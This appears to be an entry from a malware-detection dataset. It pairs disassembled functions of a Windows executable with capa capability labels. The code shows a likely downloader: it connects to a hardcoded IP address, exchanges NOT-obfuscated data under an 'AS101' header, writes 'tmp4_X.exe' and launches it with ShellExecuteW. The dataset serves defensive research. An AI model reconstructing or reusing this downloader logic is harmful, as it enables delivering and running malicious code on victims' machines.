joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403840
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x41c
mov eax, dword [0x420044]
xor eax, esp
mov dword [esp + 0x414], eax
push ebp
push esi
push ebx
mov ecx, edi
call fcn.00403980
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x40395d
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.0040c9c0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x21a]
push eax
mov word [esp + 0x21c], dx
call fcn.0040c9c0
add esp, 0xc
lea esi, [esp + 8]
call fcn.004036e0
push 0x41cd78
mov ecx, esi
push 0x104
push ecx
call fcn.0040912b
add esp, 0xc
mov esi, 0x422058
cmp word [esi], 0
je 0x4038fc
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.004091a8
add esp, 0xc
push esi
lea ecx, [esp + 0x214]
push 0x104
push ecx
call fcn.0040912b
add esp, 0xc
add esi, 0x118
cmp esi, 0x4225d0
jl 0x4038c6
mov esi, 0x422058
nop
cmp word [esi], 0
je 0x403921
push ebx
push edi
push esi
call fcn.004041e0
add esp, 0xc
add esi, 0x118
cmp esi, 0x4225d0
jl 0x403910
push 0x422de0
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.0040912b
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40395b
mov ebp, 2
mov eax, ebp
mov ecx, dword [esp + 0x41c]
pop esi
pop ebp
xor ecx, esp
call fcn.0040911c
add esp, 0x41c
ret

Function at 0x403b90
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x9b0
mov eax, dword [0x420044]
xor eax, esp
mov dword [esp + 0x9a8], eax
mov eax, dword [esp + 0x9b8]
push ebx
xor ebx, ebx
lea ecx, [esp + 0x1a8]
cmp eax, ebx
je 0x403bbb
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [esp + 0x18]
push ecx
push 0x101
mov dword [esp + 0xc], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403bf0
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.0040911c
add esp, 0x9b0
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403bd8
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
jne 0x403c2c
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
cmp eax, ebx
je 0x403c85
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [esp + 0x9b8]
mov eax, 2
push ecx
mov dword [esp + 0x10], edx
mov word [esp + 0xc], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403c85
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.0040911c
add esp, 0x9b0
ret
mov eax, dword [esi]
cmp eax, ebx
je 0x403c94
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [esp + 0x9ac]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.0040911c
add esp, 0x9b0
ret
Function at 0x403df0
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
cmp dword [ecx], eax
je 0x403e72
cmp edi, eax
jle 0x403e1d
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
inc eax
cmp eax, edi
jl 0x403e10
lea ebx, [edi + 7]
push ebx
call fcn.00409b49
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [str.AS101]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x4210dc]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.0040da00
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x403e76
cmp eax, ebx
jne 0x403e76
mov dword [esp + 0xc], 1
jmp 0x403e76
mov esi, dword [esp + 0x14]
test esi, esi
je 0x403e83
push esi
call fcn.00409bae
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x404050
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x8d8
mov eax, dword [0x420044]
xor eax, esp
mov dword [esp + 0x8d4], eax
mov eax, dword [esp + 0x8e0]
push ebp
mov ebp, dword [esp + 0x8e0]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x8e8]
push esi
push edi
mov dword [esp + 0x10], edx
lea ecx, [esp + 0xe0]
test eax, eax
je 0x404091
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [ebp]
xor edi, edi
mov dword [esp + 0xc], edi
test esi, esi
je 0x4041ad
test edx, edx
je 0x4041ad
push 0xc7
lea ecx, [esp + 0x1d]
push edi
push ecx
mov byte [esp + 0x24], al
call fcn.0040c9c0
add esp, 0xc
push edi
push 2
lea edx, [esp + 0x20]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4041c5
test eax, eax
je 0x4041c5
movzx edi, word [esp + 0x18]
lea eax, [edi + 2]
push ebx
push eax
xor esi, esi
call fcn.00409b49
add esp, 4
mov ebx, eax
test edi, edi
jle 0x40419b
mov eax, dword [ebp]
push 0
mov ecx, edi
sub ecx, esi
push ecx
lea edx, [esi + ebx]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404179
test eax, eax
je 0x404179
add esi, eax
cmp edi, esi
jg 0x404104
cmp esi, 5
jl 0x40419b
mov ecx, dword [str.AS101]
sub esi, 5
cmp ecx, dword [ebx]
jne 0x40419b
mov dl, byte [ebx + 4]
cmp dl, byte [0x4210dc]
jne 0x40419b
test esi, esi
jle 0x40415c
lea eax, [ebx + 5]
mov edi, esi
mov edi, edi
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
sub edi, 1
jne 0x404150
mov edi, dword [esp + 0x18]
mov eax, dword [edi]
cmp eax, esi
jl 0x404181
mov eax, dword [esp + 0x14]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.0040da00
mov dword [edi], esi
jmp 0x404190
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x40419b
mov edx, dword [esp + 0x14]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.0040da00
add esp, 0xc
mov dword [esp + 0x10], 1
test ebx, ebx
je 0x4041a8
push ebx
call fcn.00409bae
add esp, 4
mov eax, dword [esp + 0x10]
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x8d4]
xor ecx, esp
call fcn.0040911c
add esp, 0x8d8
ret
mov ecx, dword [esp + 0x8e0]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.0040911c
add esp, 0x8d8
ret
Function at 0x404460
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
mov eax, 0x100c
call fcn.00413ac0
mov eax, dword [0x420044]
xor eax, esp
mov dword [esp + 0x1008], eax
mov edx, dword [edi]
mov eax, dword [esp + 0x1010]
push ebx
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
push 4
lea ecx, [esp + 0x10]
push ecx
push edx
mov dword [esp + 0x1c], eax
call ebp
cmp eax, 4
je 0x4044b8
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1008]
xor ecx, esp
call fcn.0040911c
add esp, 0x100c
ret
cmp dword [esp + 8], ebx
jbe 0x4044f7
push esi
nop
mov ecx, dword [edi]
push 0
push 0x1000
lea eax, [esp + 0x1c]
push eax
push ecx
call ebp
mov esi, eax
test esi, esi
je 0x4044f6
mov edx, dword [esp + 0x10]
mov eax, dword [edx]
push eax
push esi
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.00409d1b
add ebx, esi
add esp, 0x10
cmp ebx, dword [esp + 0xc]
jb 0x4044c0
pop esi
mov edx, dword [esp + 0xc]
mov eax, dword [edx]
push eax
call fcn.00409a02
mov ecx, dword [esp + 0x1014]
add esp, 4
cmp ebx, dword [esp + 8]
pop ebp
sbb eax, eax
pop ebx
xor ecx, esp
inc eax
call fcn.0040911c
add esp, 0x100c
ret
Function at 0x4047c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.IDR_BINARY
mov edi, eax
push 0x82
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x404833
push ebp
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
mov eax, dword [esp + 0x14]
push esi
mov dword [eax], esi
call fcn.00409b49
push esi
mov edi, eax
push 0
push edi
call fcn.0040c9c0
push esi
push ebp
push edi
call fcn.0040da00
add esp, 0x1c
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop ebp
mov eax, edi
pop edi
pop esi
pop ebx
ret
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x404840
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
sub esp, 0xc
push ebx
mov ebx, dword [esp + 0x14]
push ebp
push esi
push edi
push ebx
mov edi, eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x404871
mov eax, ebx
call fcn.00404950
cmp eax, edi
jne 0x404871
lea eax, [esi + 1]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
push 0x200000
call fcn.0040a106
mov ebp, eax
mov eax, dword [esp + 0x28]
add esp, 4
push ebp
push eax
lea edx, [esp + 0x1c]
mov ecx, edi
mov dword [esp + 0x1c], 0x200000
call fcn.004049b0
add esp, 8
test eax, eax
je 0x40493c
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00409217
add esp, 4
call fcn.00409229
mov dword [esp + 0x18], eax
fild dword [esp + 0x18]
fmul qword [0x41e948]
fmul qword [0x41e970]
fadd qword [0x41e968]
call fcn.00415e60
mov esi, dword [esp + 0x14]
lea ebx, [esi + ebp]
mov edi, eax
call fcn.004028d0
add edi, esi
mov esi, dword [esp + 0x20]
xor ebx, ebx
call fcn.00404b30
mov esi, eax
cmp esi, 0xffffffff
je 0x40493a
push ebx
lea ecx, [esp + 0x1c]
push ecx
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
neg eax
sbb eax, eax
and eax, dword [esp + 0x18]
cmp eax, edi
jne 0x404919
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 1
jne 0x40493a
push ebp
mov esi, ebx
call fcn.0040a667
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
xor esi, esi
push ebp
call fcn.0040a667
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x404950
Capabilities:
Get file size

Disassembly:
sub esp, 0x10
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 3
push connect
or edi, 0xffffffff
push eax
or ebx, edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, edi
jne 0x404982
or eax, edi
or edx, edi
pop edi
pop esi
pop ebx
add esp, 0x10
ret
lea ecx, [esp + 0x10]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x40499b
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov edx, ebx
pop ebx
add esp, 0x10
ret
Function at 0x404b30
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
call edi
cmp eax, 0xffffffff
je 0x404b83
push esi
call edi
cmp eax, 0xffffffff
je 0x404b7e
test al, 1
je 0x404b4e
xor eax, 1
test al, 4
je 0x404b55
xor eax, 4
test al, 2
je 0x404b5c
xor eax, 2
test al, 0x20
je 0x404b63
xor eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test edi, edi
jne 0x404b83
or eax, 0xffffffff
pop edi
ret
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
pop edi
ret

Function at 0x404c00
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x420044]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x422698
push 0x67
push esi
call edi
push 0x64
push 0x4225d0
push 0x6d
push esi
call edi
mov eax, esi
call fcn.00404dc0
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.0040c9c0
add esp, 0xc
call fcn.00401000
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call edi
call fcn.00401110
test eax, eax
je 0x404c86
call fcn.00402920
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push esi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x422698
push 0x4225d0
push 0
mov dword [0x422760], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x404cc5
call fcn.00402ac0
test eax, eax
jne 0x404cdd
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.0040911c
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [0x422868]
test eax, eax
jbe 0x404d0c
cmp word [0x42286c], 0
jbe 0x404d0c
push eax
mov esi, str.218.54.31.226
call fcn.00403660
mov dx, word [0x42286c]
add esp, 4
mov word [0x4210f0], dx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push str.tmp4_X.exe
mov edx, 0x422de0
call fcn.00404fb0
call fcn.00403740
lea esi, [esp + 0x10]
call fcn.004036e0
push 0x41cd78
mov edx, esi
push 0x104
push edx
call fcn.0040912b
add esp, 0x14
push 0x422de0
mov eax, esi
push 0x104
push eax
call fcn.0040912b
add esp, 0xc
mov ecx, esi
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x404d9c
push 0x1f4
call edi
push 1
push 0
push 0x41cc50
mov edx, esi
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call edi
call fcn.00404530
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x406d40
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test ecx, ecx
jne 0x406d47
xor eax, eax
ret
push esi
not eax
cmp edx, 8
jb 0x406e24
mov esi, edx
shr esi, 3
push edi
lea esp, [esp]
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41e318]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x41e318]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x41e318]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41e318]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41e318]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41e318]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41e318]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x41e318]
inc ecx
sub edx, 8
sub esi, 1
jne 0x406d60
pop edi
test edx, edx
je 0x406e4b
jmp 0x406e30
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x41e318]
inc ecx
sub edx, 1
jne 0x406e30
not eax
pop esi
ret

Function at 0x406e50
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [edx]
movsx ecx, cl
xor ecx, eax
shr eax, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x41e318]
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 4]
mov dword [edx], ecx
mov ecx, dword [edx + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x41e318]
mov dword [edx + 8], ecx
ret

Function at 0x406ea0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esi + 8]
push ebx
mov edx, ecx
and edx, 0xfffd
or edx, 2
mov ebx, edx
xor ebx, 1
imul ebx, edx
mov edx, dword [esi]
shr ebx, 8
push edi
xor al, bl
movsx edi, al
xor edi, edx
shr edx, 8
and edi, 0xff
mov ebx, dword [edi*4 + 0x41e318]
xor ebx, edx
movzx edx, bl
add edx, dword [esi + 4]
mov dword [esi], ebx
imul edx, edx, 0x8088405
inc edx
mov dword [esi + 4], edx
shr edx, 0x18
xor edx, ecx
and edx, 0xff
shr ecx, 8
xor ecx, dword [edx*4 + 0x41e318]
pop edi
mov dword [esi + 8], ecx
pop ebx
ret

Function at 0x4075b0
Capabilities:
Read file on windows

Disassembly:
push esi
mov esi, ebx
imul esi, dword [esp + 8]
cmp byte [edi], 0
je 0x4075e2
mov ecx, dword [edi + 2]
push 0
lea eax, [esp + 0xc]
push eax
push esi
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4075d8
mov byte [edi + 6], 1
mov eax, dword [esp + 8]
xor edx, edx
div ebx
pop esi
ret
mov ecx, dword [edi + 0x14]
mov eax, dword [edi + 0x10]
push ebp
lea ebp, [ecx + esi]
cmp ebp, eax
pop ebp
jbe 0x4075f5
sub eax, ecx
mov esi, eax
mov eax, dword [edi + 0xc]
push esi
add eax, ecx
push eax
push edx
call fcn.0040da00
add dword [edi + 0x14], esi
mov eax, esi
add esp, 0xc
xor edx, edx
div ebx
pop esi
ret
Function at 0x407610
Capabilities:
Read file on windows

Disassembly:
sub esp, 8
cmp byte [esi], 0
push edi
mov edi, 1
je 0x407643
mov edx, dword [esi + 2]
push 0
lea eax, [esp + 0xc]
push eax
push edi
lea ecx, [esp + 0x13]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40763d
mov byte [esi + 6], 1
mov edi, dword [esp + 8]
jmp 0x40766f
mov eax, dword [esi + 0x10]
push ebx
mov ebx, dword [esi + 0x14]
lea ecx, [ebx + 1]
cmp ecx, eax
jbe 0x407655
sub eax, ebx
mov edi, eax
mov edx, dword [esi + 0xc]
push edi
add edx, ebx
push edx
lea eax, [esp + 0x13]
push eax
call fcn.0040da00
add esp, 0xc
add ebx, edi
mov dword [esi + 0x14], ebx
pop ebx
cmp edi, 1
pop edi
jne 0x407686
movzx ecx, byte [esp + 3]
mov edx, dword [esp + 0xc]
mov dword [edx], ecx
xor eax, eax
add esp, 8
ret
cmp byte [esi], 0
je 0x407680
cmp byte [esi + 6], 0
je 0x407680
or eax, 0xffffffff
add esp, 8
ret
Function at 0x407720
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
cmp byte [esi], 0
je 0x407765
cmp byte [esi + 1], 0
je 0x40776d
mov eax, dword [esi + 2]
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp byte [esi], 0
push ebp
je 0x407782
cmp byte [esi + 1], 0
je 0x407774
mov edx, dword [esi + 2]
push 1
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebp, eax
sub ebp, dword [esi + 7]
mov dword [esp + 4], ebp
jmp 0x40778b
mov ecx, dword [esi + 0x10]
mov dword [esi + 0x14], ecx
jmp 0x40773e
or eax, 0xffffffff
add esp, 0x18
ret
mov dword [esp + 4], 0
mov ebp, dword [esp + 4]
jmp 0x40778b
mov eax, dword [esi + 0x14]
mov dword [esp + 4], eax
mov ebp, eax
push edi
mov edi, 0xffff
mov dword [esp + 0xc], edi
cmp ebp, edi
jae 0x40779f
mov dword [esp + 0xc], ebp
mov edi, ebp
push ebx
push 0x404
call fcn.0040a106
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x4077bd
pop ebx
pop edi
or eax, 0xffffffff
pop ebp
add esp, 0x18
ret
mov eax, 4
mov dword [esp + 0x18], 0xffffffff
cmp edi, eax
jbe 0x4078d1
jmp 0x4077e0
mov edi, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov ebp, dword [esp + 0xc]
add eax, 0x400
mov dword [esp + 0x14], edi
cmp eax, edi
ja 0x4077f1
mov dword [esp + 0x14], eax
mov eax, ebp
sub eax, dword [esp + 0x14]
sub ebp, eax
mov dword [esp + 0x20], eax
cmp ebp, 0x404
jbe 0x40780a
mov ebp, 0x404
cmp byte [esi], 0
je 0x40782f
cmp byte [esi + 1], 0
je 0x4078d1
mov ecx, dword [esi + 7]
mov edx, dword [esi + 2]
push 0
push 0
add ecx, eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x407832
mov dword [esi + 0x14], eax
cmp byte [esi], 0
mov edi, ebp
je 0x40785a
mov ecx, dword [esi + 2]
push 0
lea eax, [esp + 0x20]
push eax
push ebp
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x407854
mov byte [esi + 6], 1
mov eax, dword [esp + 0x1c]
jmp 0x407880
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x10]
lea edx, [eax + ebp]
cmp edx, ecx
jbe 0x40786b
sub ecx, eax
mov edi, ecx
mov ecx, dword [esi + 0xc]
push edi
add ecx, eax
push ecx
push ebx
call fcn.0040da00
add esp, 0xc
add dword [esi + 0x14], edi
mov eax, edi
xor edx, edx
div ebp
cmp eax, 1
jne 0x4078d1
lea eax, [ebp - 3]
test eax, eax
jl 0x4078bc
dec eax
cmp byte [eax + ebx], 0x50
jne 0x4078ac
cmp byte [eax + ebx + 1], 0x4b
jne 0x4078ac
cmp byte [eax + ebx + 2], 5
jne 0x4078ac
cmp byte [eax + ebx + 3], 6
je 0x4078b2
test eax, eax
jge 0x407890
jmp 0x4078bc
mov edx, dword [esp + 0x20]
add eax, edx
mov dword [esp + 0x18], eax
cmp dword [esp + 0x18], 0
jne 0x4078d1
mov eax, dword [esp + 0x10]
cmp dword [esp + 0x14], eax
jb 0x4077d4
push ebx
call fcn.0040a667
mov eax, dword [esp + 0x1c]
add esp, 4
pop ebx
pop edi
pop ebp
add esp, 0x18
ret
Function at 0x4082a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push edi
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jne 0x4082be
pop edi
pop ebp
mov eax, 0xffffff9a
pop ebx
add esp, 0xc
ret
cmp dword [edi + 0x18], ebx
je 0x4082b2
cmp dword [edi + 0x7c], ebx
je 0x4082cd
call fcn.00408680
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x1c]
push edx
call fcn.00408010
add esp, 0xc
test eax, eax
je 0x4082f4
pop edi
pop ebp
mov eax, 0xffffff99
pop ebx
add esp, 0xc
ret
push esi
push 0x7e
call fcn.0040a106
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x408332
push 0x4000
call fcn.0040a106
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
add esp, 4
mov dword [esi], eax
mov dword [esi + 0x44], ecx
mov dword [esi + 0x48], edx
mov dword [esi + 0x4c], ebx
cmp eax, ebx
jne 0x40833f
push esi
call fcn.0040a667
add esp, 4
pop esi
pop edi
pop ebp
mov eax, 0xffffff98
pop ebx
add esp, 0xc
ret
mov dword [esi + 0x40], ebx
mov ecx, dword [edi + 0x3c]
xor eax, eax
cmp dword [edi + 0x34], ebx
mov dword [esi + 0x54], ecx
mov dword [esi + 0x50], ebx
mov edx, dword [edi + 0x34]
sete al
mov dword [esi + 0x64], edx
mov ecx, dword [edi]
mov dword [esi + 0x60], ecx
mov edx, dword [edi + 0xc]
mov dword [esi + 0x68], edx
mov dword [esi + 0x18], ebx
cmp eax, ebx
jne 0x408387
lea eax, [esi + 4]
mov dword [esi + 0x24], ebx
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
call fcn.00407160
test eax, eax
jne 0x408387
mov dword [esi + 0x40], 1
mov eax, dword [edi + 0x40]
mov dword [esi + 0x58], eax
mov ecx, dword [edi + 0x44]
mov dword [esi + 0x5c], ecx
mov dl, byte [edi + 0x30]
and dl, 1
mov byte [esi + 0x6c], dl
mov eax, dword [edi + 0x30]
shr eax, 3
test al, 1
je 0x4083ae
mov cl, byte [edi + 0x39]
mov byte [esi + 0x7d], cl
jmp 0x4083b4
mov dl, byte [edi + 0x3f]
mov byte [esi + 0x7d], dl
movzx eax, byte [esi + 0x6c]
neg eax
sbb eax, eax
and eax, 0xc
lea edx, [esi + 0x6d]
mov dword [esi + 0x79], eax
mov dword [edx], 0x12345678
mov dword [esi + 0x71], 0x23456789
mov dword [esi + 0x75], 0x34567890
cmp ebp, ebx
je 0x4083f1
lea ecx, [ecx]
mov cl, byte [ebp]
cmp cl, bl
je 0x4083f1
call fcn.00406e50
add ebp, 1
jne 0x4083e0
mov ecx, dword [edi + 0x78]
mov edx, dword [esp + 0x18]
lea eax, [ecx + edx + 0x1e]
mov dword [esi + 0x3c], eax
mov dword [esi + 8], ebx
mov dword [edi + 0x7c], esi
pop esi
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret